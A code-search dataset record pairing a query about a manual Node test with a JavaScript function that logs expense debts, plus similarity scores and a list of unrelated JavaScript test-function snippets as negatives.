[ "0.80163306", "0.7987428", "0.7894636", "0.7825098", "0.780565", "0.77101606", "0.770862", "0.7693854", "0.7637722", "0.7618237", "0.7610004", "0.75440305", "0.7542313", "0.75186855", "0.7445415", "0.739682", "0.73919964", "0.73745745", "0.7349523", "0.73331195", "0.7316316", "0.73087454", "0.73065215", "0.7298616", "0.7293608", "0.72688717", "0.72521144", "0.72410417", "0.72344077", "0.72283006", "0.72167784", "0.7206517", "0.7201216", "0.71827173", "0.71585697", "0.7131014", "0.7127745", "0.71187305", "0.7112524", "0.7107973", "0.7087122", "0.7084816", "0.70823896", "0.70739657", "0.70573175", "0.7033166", "0.70317733", "0.7031276", "0.7029883", "0.70245034", "0.7019486", "0.70160824", "0.7014413", "0.7007423", "0.70058435", "0.6993351", "0.69909024", "0.69804347", "0.6972079", "0.696344", "0.69618714", "0.6953825", "0.69461095", "0.69452053", "0.69407994", "0.6937677", "0.6937201", "0.6933276", "0.6930866", "0.69291586", "0.6923512", "0.692313", "0.6922016", "0.6915979", "0.6915317", "0.6903846", "0.6895093", "0.6890286", "0.6889681", "0.6874347", "0.68690115", "0.686707", "0.6861536", "0.6856681", "0.6856115", "0.68534225", "0.6853367", "0.6843779", "0.6840025", "0.6838591", "0.68322736", "0.68291026", "0.6816465", "0.68142486", "0.6813126", "0.6806258", "0.6805621", "0.67863274", "0.6785636", "0.67836535" ]
0.72138673
31
This test is manual, change the code below to test different cases. Run with node
function test_even_expense_debts() { let expense = new EvenExpense_1.EvenExpense(5, "cat", "test"); let person1 = new Person_1.Person(1, "Person 1", ""); let person2 = new Person_1.Person(2, "Person 2", ""); let person3 = new Person_1.Person(3, "Person 3", ""); let payment1 = new Payment_1.Payment(-1, person1, 2); let payment2 = new Payment_1.Payment(-1, person2, 4); let payment3 = new Payment_1.Payment(-1, person3, 9); expense.addPayment(payment1); expense.addPayment(payment2); expense.addPayment(payment3); // let payments = Array.from(expense.payments.values()); // payments.forEach(p => console.log(p.creditor.firstName + " payed " + p.amount.toFixed(2))); console.log("Debts"); let debts = Array.from(expense.debts.values()); debts.forEach(d => console.log(d.debtor.firstName + " owes " + d.creditor.firstName + " " + d.amount.toFixed(2))); console.log(expense.expenseAmount) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function test_candu_graphs_datastore_vsphere6() {}", "function runTests1() {\n var payload_1 = \"AAAHMRBqLy8BAULMR65CrzMz\";\n var result_1 = transform(\"2019-03-29T06:02:04.539Z\", 65959, 15, payload_1);\n assert (result_1.length === 2, \n 'Expected command 1 array length = 2');\n assert (result_1[STEM_DIAMETER].data.stemDiameter === 102.13999938964844, \n 'Expected stem diameter = 102.13999938964844');\n assert (result_1[STEM_TEMPERATURE].data.stemTemperature === 87.5999984741211, \n 'Expected stem tempreature = 87.5999984741211');\n}", "function test_candu_graphs_vm_compare_host_vsphere65() {}", "async function defineTests () {\n const examplesData = await loadExamplesData()\n describe('dt2js CLI integration test', function () {\n this.timeout(20000)\n examplesData.forEach(data => {\n context(`for file ${data.fpath}`, () => {\n data.names.forEach(typeName => {\n it(`should convert ${typeName}`, async () => {\n const schema = await dt2jsCLI(data.fpath, typeName)\n validateJsonSchema(schema)\n })\n })\n })\n })\n })\n}", "function runTest() {\n return exports.handler(test_input3, test_context, function(err, result) {\n if (err) console.error(err);\n else console.log(result);\n });\n}", "function generateTest() {\n // TODO\n}", "function run(){\n\n\tdescribe(\"XML Tester\", function(){\n\t\t\n\t\t//gameName = process.env.npm_config_gamename;\n\t\t//console.log(\"Testing \" + gameName);\n\t\t\n\t\t//findXML();\n\t\t//parseXML();\n\t\t//loadGame();\n\t\t//StartMultiGameTest();\n\t});\n}", "function test_utilization_host() {}", "function startAllTests(){ \n testGetObjectFromArrays();\n testNormalizeHeader();\n testFillInTemplateFromObject();\n testIsCellEmpty();\n testIsAlnum();\n testIsDigit();\n}", "function testRun()\r\n{\r\n}", "async runTest() {}", "async function main() {\n const g_tests = async (flag) => {\n let test_base;\n let prefix = '';\n switch (flag) {\n case 'm':\n test_base = test_base_general;\n prefix = 'test_';\n break;\n case 'a':\n test_base = test_base_audio;\n prefix = 'test_';\n break;\n case 's':\n case 'c':\n test_base = test_base_toc;\n break;\n }\n ;\n const retval = await get_tests(`${test_base}/index.json`, prefix);\n return retval;\n };\n const preamble_run_test = async (name) => {\n if (name[0] === 'm' || name[0] === 'a' || name[0] === 's' || name[0] === 'c') {\n const tests = await g_tests(name[0]);\n run_test(tests[name].url);\n }\n else {\n throw new Error('Abnormal test id...');\n }\n };\n try {\n if (process.argv && process.argv.length > 2) {\n if (process.argv[2] === '-sm' || process.argv[2] === '-sa') {\n const label = process.argv[2][2];\n const tests = await g_tests(label);\n const scores = generate_scores(tests);\n console.log(JSON.stringify(scores, null, 4));\n }\n else if (process.argv[2] === '-l') {\n // run a local test that is not registered in the official test suite\n run_test(process.argv[3]);\n }\n else {\n preamble_run_test(process.argv[2]);\n }\n }\n else {\n preamble_run_test('m4.01');\n }\n }\n catch (e) {\n console.log(`Something went very wrong: ${e.message}`);\n process.exit(1);\n }\n}", "function test_candu_graphs_vm_compare_cluster_vsphere65() {}", "test() {\n return true\n }", "function runTests0() {\n var payload_0 = \"AAAHMRBqLy8BAELMR65CrzMzwqxmZg==\";\n var result_0 = transform(\"2019-03-29T06:02:04.539Z\", 65959, 15, payload_0);\n assert(result_0.length === 4, \n 'Expected command 0 array length = 4');\n assert (result_0[VWC_COUNT - 2].data.vwcCount === 102.13999938964844, \n 'Expected vwcCount = 102.13999938964844');\n assert (result_0[TEMPERATURE - 2].data.temperature === 87.5999984741211, \n 'Expected temperature = 87.5999984741211');\n assert (result_0[EC - 2].data.ec === -86.19999694824219, \n 'Expected EC = -86.19999694824219');\n assert (result_0[VWC - 2].data.vwc === -65.59798942367554, \n 'Expected EC = -65.59798942367554');\n}", "async test() {\n /**\n * @summary 测试数据库连接\n * @description 测试swagger\n * @router post /home/test\n * @request body test 配置请求携带参数\n * @Request header string token eg:write your params at here\n * @response 200 JsonResult 操作结果\n */\n const { ctx } = this;\n ctx.body = await this.service.home.test();\n }", "async function basicTesting() {\n console.log(chalk.white(\"INITIALIZING BASIC TESTING\"));\n await testAvailableBooks();\n await testTicker(\"btc_mxn\");\n await testGetTrades(\"btc_mxn\");\n await testOrders(\"eth_mxn\", \"buy\", \"1.0\", \"market\");\n await testOrders(\"eth_mxn\", \"sell\", \"1.0\", \"market\");\n await testWithdrawals(\"btc\", \"0.001\", \"15YB8xZ4GhHCHRZXvgmSFAzEiDosbkDyoo\");\n await testBalances();\n}", "function ct_test() {\n return ok;\n}", "function test_setup() {\n (async () => {\n await connection\n .query(\n `\n TRUNCATE polls CASCADE;\n `\n )\n .then(() => {\n console.log(clc.green(\"Deleted\"));\n console.log(clc.blue(\"\\nTesting /save endpoint\"));\n needle(\n \"post\",\n `http://localhost:${process.env.APP_PORT}/save`,\n data,\n {\n json: true,\n }\n )\n .then((res) => {\n console.log(clc.green(`Status: ${res.statusCode}`));\n console.log(clc.blue(\"\\nTesting /recall endpoint\"));\n succesfull += 1;\n\n needle(\n \"get\",\n `http://localhost:${process.env.APP_PORT}/recall/1294898935/my_poll2`,\n data,\n {\n json: true,\n }\n )\n .then((res) => {\n console.log(\n clc.green(`Status: ${res.statusCode}`)\n );\n console.log(\n clc.blue(\"\\nTesting /check endpoint\")\n );\n succesfull += 1;\n\n needle(\n \"get\",\n `http://localhost:${process.env.APP_PORT}/check/1294898935/my_poll2`,\n data,\n {\n json: true,\n }\n )\n .then((res) => {\n succesfull += 1;\n console.log(\n clc.green(\n `Status: ${res.statusCode}`\n )\n );\n console.log(\n clc.green(\n `\\nSuccesfully ran: ${succesfull} out of 3 test cases.`\n )\n );\n return 1;\n })\n .catch((err) => {\n console.error(err);\n console.log(\n clc.green(\n `\\nSuccesfully ran: ${succesfull} out of 3 test cases.`\n )\n );\n console.log(\n clc.red(\n `\\nFailed in: ${\n 3 - succesfull\n } out of 3 test cases.`\n )\n );\n return 0;\n });\n })\n .catch((err) => {\n console.error(err);\n console.log(\n clc.green(\n `\\nSuccesfully ran: ${succesfull} out of 3 test cases.`\n )\n );\n console.log(\n clc.red(\n `\\nFailed in: ${\n 3 - succesfull\n } out of 3 test cases.`\n )\n );\n return 0;\n });\n })\n .catch((err) => {\n console.error(err);\n console.log(\n clc.green(\n `\\nSuccesfully ran: ${succesfull} out of 3 test cases.`\n )\n );\n console.log(\n clc.red(\n `\\nFailed in: ${\n 3 - succesfull\n } out of 3 test cases.`\n )\n );\n return 0;\n });\n });\n })().catch((err) => {\n console.error(err);\n console.log(\n clc.green(`\\nSuccesfully ran: ${succesfull} out of 3 test cases.`)\n );\n console.log(\n clc.red(`\\nFailed in : ${3 - succesfull} out of 3 test cases.`)\n );\n return 0;\n });\n}", "function test_case(err, response) {\n\n\tif (err) {\n\t\tconsole.error(err);\n\t} else {\n assert.equal(response.headers['Content-Type'], 'text/json', 'content type is not text/json');\n assert.equal(response.statusCode, 200, 'status code must be 200');\n\n for (key in response.results) {\n kw = response.results[key];\n // at least 6 results\n assert.isAtLeast(kw.results.length, 6, 'results must have at least 6 links');\n assert.equal(kw.no_results, false, 'no results should be false');\n assert.typeOf(kw.num_results, 'string', 'num_results must be a string');\n assert.isAtLeast(kw.num_results.length, 5, 'num_results should be a string of at least 5 chars');\n assert.typeOf(Date.parse(kw.time), 'number', 'time should be a valid date');\n\n for (let res of kw.results) {\n assert.isOk(res.link, 'link must be ok');\n assert.typeOf(res.link, 'string', 'link must be string');\n assert.isAtLeast(res.link.length, 5, 'link must have at least 5 chars');\n\n assert.isOk(res.title, 'title must be ok');\n assert.typeOf(res.title, 'string', 'title must be string');\n assert.isAtLeast(res.title.length, 10, 'title must have at least 10 chars');\n\n assert.isOk(res.snippet, 'snippet must be ok');\n assert.typeOf(res.snippet, 'string', 'snippet must be string');\n assert.isAtLeast(res.snippet.length, 10, 'snippet must have at least 10 chars');\n }\n }\n\t}\n}", "function runTests() {\n\ttestBeepBoop();\n\ttestGetDigits();\n}", "function test_crosshair_op_azone_ec2() {}", "function main() {\n // First, we need to initialize the data model\n sequelize.initSequelize();\n\n // Then, continue populating the test data\n populateAllTestData(false).then(() => {\n process.exit(0);\n }).catch((err) => {\n console.error(err);\n process.exit(1);\n });\n}", "function PerformanceTestCase() {\n}", "function testAllTests() {\n testExtremal();\n testDifference();\n testSpearman();\n testSerial()\n}", "function testAddData() {\n describe('Add Test Data', function() {\n it('should add data to the database and return data or error', function(done) {\n var session = driver.session();\n session\n .run('CREATE (t:Test {testdata: {testdata}}) RETURN t', {testdata: 'This is an integration test'})\n .then(function (result) {\n session.close();\n result.records.forEach(function (record) {\n describe('Added Data Returned Result', function() {\n it('should return added test data from database', function(done) {\n assert(record);\n done();\n });\n });\n });\n done();\n })\n .catch(function (error) {\n session.close();\n console.log(error);\n describe('Added Data Returned Error', function() {\n it('should return error', function(done) {\n assert(error);\n done();\n });\n });\n done();\n });\n });\n });\n}", "function test_crosshair_op_azone_azure() {}", "function run(__index) {\n __index++;\n\n var obj = tests[__index];\n // All data in the query gets the strings replaced which are placed into the config.json in the root directory.\n obj.data.data = jsonTools.parseConfigIntoJSONObject(config, obj.data.data);\n // Same for the REST API Link\n var parsed_request_url = jsonTools.parseConfigIntoTemplateString(config, obj.data.path);\n\n // Logging the Method and URL after Parse here\n console.log(obj.data.method + ' ' + parsed_request_url);\n\n fetch(parsed_request_url, {\n method: obj.data.method,\n body: JSON.stringify(obj.data.data),\n headers: { 'Content-Type': 'application/json' }\n })\n .then((result) => result.json())\n .then((json) => {\n console.log('\\n ' + JSON.stringify(json));\n console.log(' As expected? ' + (JSON.stringify(json)==JSON.stringify(obj.data.expected)) + '\\n');\n run(__index);\n })\n .catch((err) => {\n console.log('\\n' + ' Response was empty(probably, todo: more error handling)');\n console.log(' As expected? ' + (null==obj.data.expected) + '\\n');\n });\n}", "function testAll() {\n testAssert()\n testRemainder()\n testConversions()\n}", "function test_utilization_utilization_graphs() {}", "function test_service_bundle_vms() {}", "function testDeleteData() {\n describe('Delete Test Data', function() {\n it('should delete test data in database and return success or error', function(done) {\n var session = driver.session();\n session\n .run('MATCH (t:Test) DELETE t')\n .then(function (result) {\n session.close();\n describe('Deleting Data Returned Success', function() {\n it('should delete test data from database', function(done) {\n assert(result);\n done();\n });\n });\n done();\n })\n .catch(function (error) {\n session.close();\n console.log(error);\n describe('Deleting Data Returned Error', function() {\n it('should return error', function(done) {\n assert(error);\n done();\n });\n });\n done();\n });\n });\n });\n}", "function test_crosshair_op_host_vsphere65() {}", "async setup() { }", "function RUN_ALL_TESTS() {\n console.log('> itShouldSaveSingleProperty');\n saveSingleProperty();\n console.log('> itShouldSaveMultipleProperties');\n saveMultipleProperties();\n console.log('> itShouldReadSingleProperty');\n readSingleProperty();\n console.log('> itShouldReadAllProperties');\n readAllProperties();\n // The tests below are successful if they run without any extra output\n console.log('> itShouldUpdateProperty');\n updateProperty();\n console.log('> itShouldDeleteSingleProperty');\n deleteSingleProperty();\n console.log('> itShouldDeleteAllUserProperties');\n deleteAllUserProperties();\n}", "enterOr_test(ctx) {\n\t}", "async function runTests() {\n await fse.remove(\"cypress/report\");\n await cypress.run({\n spec: \"cypress/integration/**/*.spec.ts\",\n });\n const jsonReport = await merge({\n reportDir: \"cypress/report\",\n });\n await generator.create(jsonReport, {\n reportDir: \"cypress/report\",\n reportTitle: \"Bridge-X E2E All Test\",\n });\n await fse.writeJson(\"cypress/report/mochawesome-stat.json\", jsonReport, { spaces: 2 });\n}", "function testReturnData() {\n describe('Return Test Data', function() {\n it('should return data from the database and return data or error', function(done) {\n var session = driver.session();\n session\n .run('MATCH (t:Test) RETURN t')\n .then(function (result) {\n session.close();\n result.records.forEach(function (record) {\n describe('Data Returned Result', function() {\n\n it('should return test data from database', function(done) {\n assert(record);\n done();\n });\n\n it('should have length of one', function(done) {\n assert.equal(record.length, 1);\n done();\n });\n\n var result = record._fields[0];\n\n it('should return correct label type', function(done) {\n assert.equal(typeof result.labels[0], 'string');\n done();\n });\n\n it('should have label \\'Test\\'', function(done) {\n assert.equal(result.labels[0], 'Test');\n done();\n });\n\n it('should return correct testdata type', function(done) {\n assert.equal(typeof result.properties.testdata,'string');\n done();\n });\n\n it('should have property \\'Testdata\\' containing \\'This is an integration test\\'', function(done) {\n assert.equal(result.properties.testdata, 'This is an integration test');\n done();\n });\n });\n });\n done();\n })\n .catch(function (error) {\n session.close();\n console.log(error);\n describe('Data Returned Error', function() {\n it('should return error', function(done) {\n assert(error);\n done();\n });\n });\n done();\n });\n });\n });\n}", "function setUp() {\nbitgo = new BitGoJS.BitGo({ env: 'test', accessToken: configData.accessToken });\n}", "DoFinalReview() {\n const caid = \"5c79260b4328ab820437835c\";\n test(\"showing projects in final review for that ca\", async done => {\n const response = await fetch(`${this.base_url}/${caid}/reviewprojects`, {\n method: \"GET\",\n headers: { \"Content-Type\": \"application/json\" }\n });\n //console.lo(\"response to story 2.3 \" + response.status);\n const j = await response.json();\n ////console.lo(j)\n if (j.msg == \" not valid id\" || j.msg == 'Error in catch block\"')\n expect(response.status).toEqual(404);\n else expect(response.status).toEqual(200);\n done();\n });\n }", "function setUp() {\n}", "function test() {\n runTests0();\n runTests1(); \n return true;\n}", "function testcases () {\n\n\tif ( !fs.existsSync(paymentsdonedir) ) {\n\t\tfs.mkdirSync(paymentsdonedir, 0744)\n\t\tgetpayqueue(start);\n\t}\n\telse if ( !fs.existsSync(paymentqueuefile) ) {\n\t\tconsole.log(\"Missing file \" + paymentqueuefile + \"! Run collector session first. Goodbye\")\n\t}\n\telse if ( JSON.parse(fs.readFileSync(paymentqueuefile)).length == 0 ) {\n\t\tconsole.log(\"Empty payqueue! Nothing to pay, goodbye :-)\")\n\t}\n\telse {\n\t\tgetpayqueue(start);\n\t}\n}", "function testMain() {\n var mode = 'test';\n main(mode);\n}", "function runTest () {\n execSync('yarn test');\n}", "function setUp()/* : void*/\n {\n }", "function generateTest(list, app, nodestr) {\n nodeStore = nodestr;\n stateNodes[app] = true; \n // If there are no asserts, return. \n // This should never happen if our frontend works correctly. \n if (list.length === 0) return; \n\n // With valid input, we can start building our result. \n // First, we start by adding all dependencies\n firstBlock = addDependencies(app);\n // Then we add our Describe syntax to begin our test \n let result = startDescribe(app);\n // Now we loop through and add each assertion block as an it statement \n list.forEach(item => {\n if (checkKeyPress(item)) result += addBlock(item); \n }); \n // After looping we close our describe function and are finished\n result += '});'\n return firstBlock + newLine + result; \n}", "expected(_utils) {\n return 'nothing';\n }", "function RunTests() {\n\n var storeIds = [175, 42, 0, 9]\n var transactionIds = [9675, 23, 123, 7]\n\n storeIds.forEach(function (storeId) {\n transactionIds.forEach(function (transactionId) {\n var shortCode = generateShortCode(storeId, transactionId);\n var decodeResult = decodeShortCode(shortCode);\n $(\"#test-results\").append(\"<div>\" + storeId + \" - \" + transactionId + \": \" + shortCode + \"</div>\");\n AddTestResult(\"Length <= 9\", shortCode.length <= 9);\n AddTestResult(\"Is String\", (typeof shortCode === 'string'));\n AddTestResult(\"Is Today\", IsToday(decodeResult.shopDate));\n AddTestResult(\"StoreId\", storeId === decodeResult.storeId);\n AddTestResult(\"TransId\", transactionId === decodeResult.transactionId);\n })\n })\n}", "function fullTest(Srl){\n\tGen = Srl.Generative;\n\tAlgo = Srl.Algorithmic;\n\tMod = Srl.Transform;\n\tRand = Srl.Stochastic;\n\tStat = Srl.Statistic;\n\tTL = Srl.Translate;\n\tUtil = Srl.Utility;\n\n\t// testSerial();\n\ttestGenerative();\n\ttestAlgorithmic();\n\ttestStochastic();\n\ttestTransform();\n\ttestStatistic();\n\ttestTranslate();\n\ttestUtility();\n}", "function testDataCount(checkCount) {\n describe('Test Data Count', function() {\n it('should return data count or error', function(done) {\n var session = driver.session();\n session\n .run('MATCH (t:Test) RETURN t')\n .then(function (result) {\n session.close();\n var count = 0;\n result.records.forEach(function (record) {\n count++;\n });\n\n describe('Correct Data Count Returned', function() {\n\n it('should return', function(done) {\n assert(result);\n done();\n });\n\n it('should return correct data count type', function(done) {\n assert.equal(typeof count, 'number');\n done();\n });\n\n it('should return correct data count', function(done) {\n assert.equal(count, checkCount);\n done();\n });\n });\n\n done();\n })\n .catch(function (error) {\n session.close();\n console.log(error);\n describe('Counting Data Returned Error', function() {\n it('should return error', function(done) {\n assert(error);\n done();\n });\n });\n done();\n });\n });\n });\n}", "function test_bottleneck_provider() {}", "verify() {\n // TODO\n }", "function _test(scriptfile, cb){\n\t\n\tvar args = util_args2json();\n\tvar file = path.join(__dirname, path.normalize(scriptfile));\n\n\tconsole.log(\"@testing \"+ chalk.blue(file) +\" with args:\", args );\n\n\n\t//cloudfn.verify.rawfile(file);\n\t// or\n\tcloudfn.run.rawfile(file, args);\n\n\t// thinking is, that scripts might be using things available in the server.api -> which we cant \"run\" locally\n\t// req and res springs to mind. Lets see. \n}", "enterOld_test(ctx) {\n\t}", "function test_notification_banner_vm_provisioning_notification_and_service_request_should_be_in_syn() {}", "function testQueryProcessingFunctions() {\n testEvalQueryShow();\n testEvalQueryTopK();\n testEvalQuerySliceCompare();\n\n testGetTable();\n\n testCallGcpToGetQueryResultShow();\n testCallGcpToGetQueryResultTopK(); \n testCallGcpToGetQueryResultSliceCompare();\n\n testCallGcpToGetQueryResultUsingJsonShow();\n testCallGcpToGetQueryResultUsingJsonTopK(); \n testCallGcpToGetQueryResultUsingJsonSliceCompare();\n}", "function testFunction() {\n\t\t\treturn true;\n\t\t}", "function testFunction() {\n\t\t\treturn true;\n\t\t}", "beforeRun() {}", "function test() {\n return 1;\n }", "function CAM_690()\n{\n try\n {\n Log.Message(\"Started TC:- Test to check that minimum and maximum limit for DFR record length with non-Transco licenses \")\n var DataSheetName = Project.ConfigPath +\"TestData\\\\MaxDFR.xlsx\"\n \n //Step1.: Check if iQ-Plus is running or not.\n AssertClass.IsTrue(CommonMethod.IsExist(\"iQ-Plus\"),\"Checking if iQ+ is running or not\")\n \n //Step2.Check whether device exists or not in the topology. \n if(DeviceTopologyPage.ClickonDevice(CommonMethod.ReadDataFromExcel(DataSheetName,\"DeviceType\"),CommonMethod.ReadDataFromExcel(DataSheetName,\"DeviceName\"))!=true)\n {\n GeneralPage.CreateDevice(CommonMethod.ReadDataFromExcel(DataSheetName,\"DeviceType\"),CommonMethod.ReadDataFromExcel(DataSheetName,\"DeviceName\"),CommonMethod.ReadDataFromExcel(DataSheetName,\"DeviceSerialNo\"),CommonMethod.ReadDataFromExcel(DataSheetName,\"DeviceIPAdd\"))\n DeviceTopologyPage.ClickonDevice(CommonMethod.ReadDataFromExcel(DataSheetName,\"DeviceType\"),CommonMethod.ReadDataFromExcel(DataSheetName,\"DeviceName\")) \n }\n else\n {\n Log.Message(\"Device exist in the tree topology.\")\n }\n \n //Step3. Retrieve Configuration\n AssertClass.IsTrue(DeviceManagementPage.ClickonRetrieveConfig(),\"Clicked on Retrieve Config\")\n \n //Step4. Click on Fault Recording\n AssertClass.IsTrue(ConfigEditorPage.ClickOnFaultRecording(),\"Clicked on Fault Recording\")\n \n //Step5.0 //Enter PreFault\n AssertClass.IsTrue(ConfigEditor_FaultRecordingPage.SetPrefault(CommonMethod.ReadDataFromExcel(DataSheetName,\"PrefaultTime\")),\"Setting Prefault Time\")\n \n //Step5. Enter & Check Max DFR value\n var MaxDFRLength =CommonMethod.ReadDataFromExcel(DataSheetName,\"MaxDFR\")\n AssertClass.IsTrue(ConfigEditor_FaultRecordingPage.SetMaxDFR(MaxDFRLength),\"Setting and checking Max DFR\")\n \n //Step6. Send to Device\n AssertClass.IsTrue(ConfigEditorPage.ClickSendToDevice(),\"Clicked on Send to Device\")\n \n //Step7. Retrieve Configuration\n AssertClass.IsTrue(DeviceManagementPage.ClickonRetrieveConfig(),\"Clicked on Retrieve Config\")\n \n //Step8. Click on Fault Recording\n AssertClass.IsTrue(ConfigEditorPage.ClickOnFaultRecording(),\"Clicked on Fault Recording\")\n \n //Step9. Check for Prefault and Max DFR Value\n AssertClass.CompareString(ConfigEditor_FaultRecordingPage.GetMaxDFR(), MaxDFRLength,\"Checking for Max DFR Value\")\n \n Log.Message(\"Pass:- Test to check that minimum and maximum limit for DFR record length with non-Transco licenses\")\n }\n catch(ex)\n {\n Log.Error(ex.stack)\n Log.Error(\"Fail:-Test to check that minimum and maximum limit for DFR record length with non-Transco licenses\")\n }\n finally\n {\n AssertClass.IsTrue(ConfigEditorPage.ClickOnClose(),\"Clicked on Close in Config Editor\")\n }\n}", "function mysql_testConnect() {\n\t try\n\t {\n\t\tmysql_pool.getConnection(function(err, connection) {\n\t\t\tif (err) \n\t\t\t{\n\t\t\t\tconsole.log(' Error getting mysql_pool connection: ' + err);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tconsole.log(\"mysql connected\");\n\t\t\t}\n\t\t});\n\t }catch(mysqlErr)\n\t {\n\t\tconsole.log(\"Error connect to mysql server\");\n\t }\n\t\n }", "function test() {\n console.log(\"tested!\");\n}", "function ADC3Test__native_js( context )\n{\n console.log( \"Native test successful.\" );\n}", "function runTests() {\n output(\"--------------\");\n output(\"Test of DataEncoderDecoder - DED\");\n output(\"--------------\");\n testinit();\n testASN1instantiation();\n testAppendASN1();\n testFetchNextASN1();\n testFetchTotalASN1();\n testDED_START_ENCODER();\n testDED_PUT_STRUCT_START();\n testDED_PUT_METHOD();\n testDED_PUT_USHORT();\n testDED_PUT_BOOL();\n testDED_PUT_STDSTRING();\n testDED_PUT_ELEMENT();\n testDED_PUT_STRUCT_END();\n testDED_GET_ENCODED_DATA();\n testDED_PUT_DATA_IN_DECODER();\n testDED_GET_STRUCT_START();\n testDED_GET_METHOD();\n testDED_GET_USHORT();\n testDED_GET_BOOL();\n testDED_GET_STDSTRING();\n testDED_GET_ELEMENT();\n testDED_GET_STRUCT_END();\n testDED_GET_ELEMENT_embed_image();\n testDED_GET_ELEMENT_embed_largeimage();\n testDED_GET_ELEMENT_embed_Xlargeimage();\n //testDED_GET_STDSTRING_embed_image();\n complete();\n}", "function CAM_689()\n{\n try\n {\n Log.Message(\"Started TC:-Test to check that user tries to set minimum DFR record length equal to Prefault time\")\n var DataSheetName = Project.ConfigPath +\"TestData\\\\CAM_689.xlsx\"\n \n //Step1.: Check if iQ-Plus is running or not.\n AssertClass.IsTrue(CommonMethod.IsExist(\"iQ-Plus\"),\"Checking if iQ+ is running or not\")\n \n //Step2.Check whether device exists or not in the topology. \n if(DeviceTopologyPage.ClickonDevice(CommonMethod.ReadDataFromExcel(DataSheetName,\"DeviceType\"),CommonMethod.ReadDataFromExcel(DataSheetName,\"DeviceName\"))!=true)\n {\n GeneralPage.CreateDevice(CommonMethod.ReadDataFromExcel(DataSheetName,\"DeviceType\"),CommonMethod.ReadDataFromExcel(DataSheetName,\"DeviceName\"),CommonMethod.ReadDataFromExcel(DataSheetName,\"DeviceSerialNo\"),CommonMethod.ReadDataFromExcel(DataSheetName,\"DeviceIPAdd\"))\n DeviceTopologyPage.ClickonDevice(CommonMethod.ReadDataFromExcel(DataSheetName,\"DeviceType\"),CommonMethod.ReadDataFromExcel(DataSheetName,\"DeviceName\")) \n }\n else\n {\n Log.Message(\"Device exist in the tree topology.\")\n }\n \n //Step3. Retrieve Configuration\n AssertClass.IsTrue(DeviceManagementPage.ClickonRetrieveConfig(),\"Clicked on Retrieve Config\")\n \n //Step4. Click on Fault Recording\n AssertClass.IsTrue(ConfigEditorPage.ClickOnFaultRecording(),\"Clicked on Fault Recording\")\n \n //Step5.0 //Enter PreFault\n AssertClass.IsTrue(ConfigEditor_FaultRecordingPage.SetPrefault(CommonMethod.ReadDataFromExcel(DataSheetName,\"PrefaultTime\")),\"Setting Prefault Time\")\n \n //Step5. Enter & Check Max DFR value\n var MaxDFRLength =CommonMethod.ReadDataFromExcel(DataSheetName,\"MaxDFR\")\n AssertClass.IsTrue(ConfigEditor_FaultRecordingPage.SetMaxDFR(MaxDFRLength),\"Setting and checking Max DFR\")\n \n //Step6. Send to Device\n AssertClass.IsTrue(ConfigEditorPage.ClickSendToDevice(),\"Clicked on Send to Device\")\n \n //Step7. Check Error on Finish Pane\n AssertClass.CompareString(\"DFR maximum record length has to be at least 100ms more than the pre-fault.\",ConfigEditor_FinishPage.GetErrorText(\"Fault Recording\"),\"Checking for Error Validation on Finish Pane.\")\n \n Log.Message(\"Pass:-Test to check that user tries to set minimum DFR record length equal to Prefault time\")\n }\n catch(ex)\n {\n Log.Error(ex.stack)\n Log.Error(\"Fail:-Test to check that user tries to set minimum DFR record length equal to Prefault time\")\n }\n finally\n {\n AssertClass.IsTrue(ConfigEditorPage.ClickOnClose(),\"Clicked on Close in Config Editor\")\n }\n}", "function RunTests() {\n var storeIds = [175, 42, 0, 9];\n var transactionIds = [9675, 23, 123, 7];\n\n storeIds.forEach(function(storeId) {\n transactionIds.forEach(function(transactionId) {\n var shortCode = generateShortCode(storeId, transactionId);\n var decodeResult = decodeShortCode(shortCode);\n $(\"#test-results\").append(\n \"<div>\" + storeId + \" - \" + transactionId + \": \" + shortCode + \"</div>\"\n );\n AddTestResult(\"Length <= 9\", shortCode.length <= 9);\n AddTestResult(\"Is String\", typeof shortCode === \"string\");\n AddTestResult(\"Is Today\", IsToday(decodeResult.shopDate));\n AddTestResult(\"StoreId\", storeId === decodeResult.storeId);\n AddTestResult(\"TransId\", transactionId === decodeResult.transactionId);\n });\n });\n}", "function sharedTests() {\n var result;\n beforeEach(function (done) {\n result = txtToIntObj.getIntObj(this.txtdata);\n done();\n });\n it('check for existence and type', function (done) {\n expect(result).to.exist;\n expect(result).to.be.an('object');\n done();\n });\n\n it('make sure intermediate format has all titles', function (done) {\n var titles = txtToIntObj.getTitles(this.txtdata);\n done();\n });\n\n it('make sure there are no bad keys', function (done) {\n var badKeysResult = checkForBadKeys(result);\n expect(badKeysResult).to.be.true;\n done();\n });\n}", "before(app) {\n app.get('/api/test', (req, res) => {\n res.json({\n code: 200,\n message: 'hello world'\n })\n })\n }", "function run () {\n\n // //Test Case 1\n address = \"809 Thomas Ave, San Diego, CA 92109\"\n var frmtAddr = addressSearch(address);\n var frmtName = formatInput(\"The Local\");\n dbAddr = formatInput(address);\n\n // Test Case 2\n // address =\"8970 University Center Ln, San Diego, CA 92122\";\n // var frmtAddr = addressSearch(address);\n // var frmtName = formatInput(\"Fleming's\");\n // dbAddr = formatInput(address);\n \n\n //Make API calls\n yelpAPIcall(frmtName,frmtAddr,ratingsobjectarray,zomatoAPIcall);\n\n // .then(zomatoAPIcall(frmtName,frmtAddr))\n // .then(googleAPIcall(frmtName,frmtAddr))\n // .then(dbfind(frmtName,dbAddr,callbacklog))\n // .then(dbrating(dbAddr)); \n // runwhendone(yelprating,zomatorating,googlerating,internalrating);\n}", "async function runTests () {\n\tawait countSimpleFamilies()\n\tawait simpleExample()\n\tawait countSimpleFamilies()\n}", "enterTest(ctx) {\n\t}", "enterAnd_test(ctx) {\n\t}", "function setup() {}", "async function testSelenium()\t\t\t\t\t\t\t\t\t\t\t\t//synchronous function to give a random name as like this: testSelenium\n{\n\tlet driver\t=\tawait new Builder().forBrowser(\"firefox\").build();\t\t//create web driver and build brower name for automated navigation\n\n\tawait driver.manage().window().maximize();\t\t\t\t\t\t\t\t//maximize the firefox browser immediately after generating the command\n\tawait driver.get(\"http://localhost:3000/\");\t\t\t\t\t\t\t\t//\tafter getting the command : >>\"npm run travelbliss\" the opening page \n\t///////////////////////////////////////////\t\t\t\t\t\t\t\t\t\t\tof project will be visible immediately and automatically\t\n\t\n\tawait driver.sleep(20000);\t\t\t\t\t\t\t\t\t\t\t//webpage is visible for 20 seconds with or without hands-off 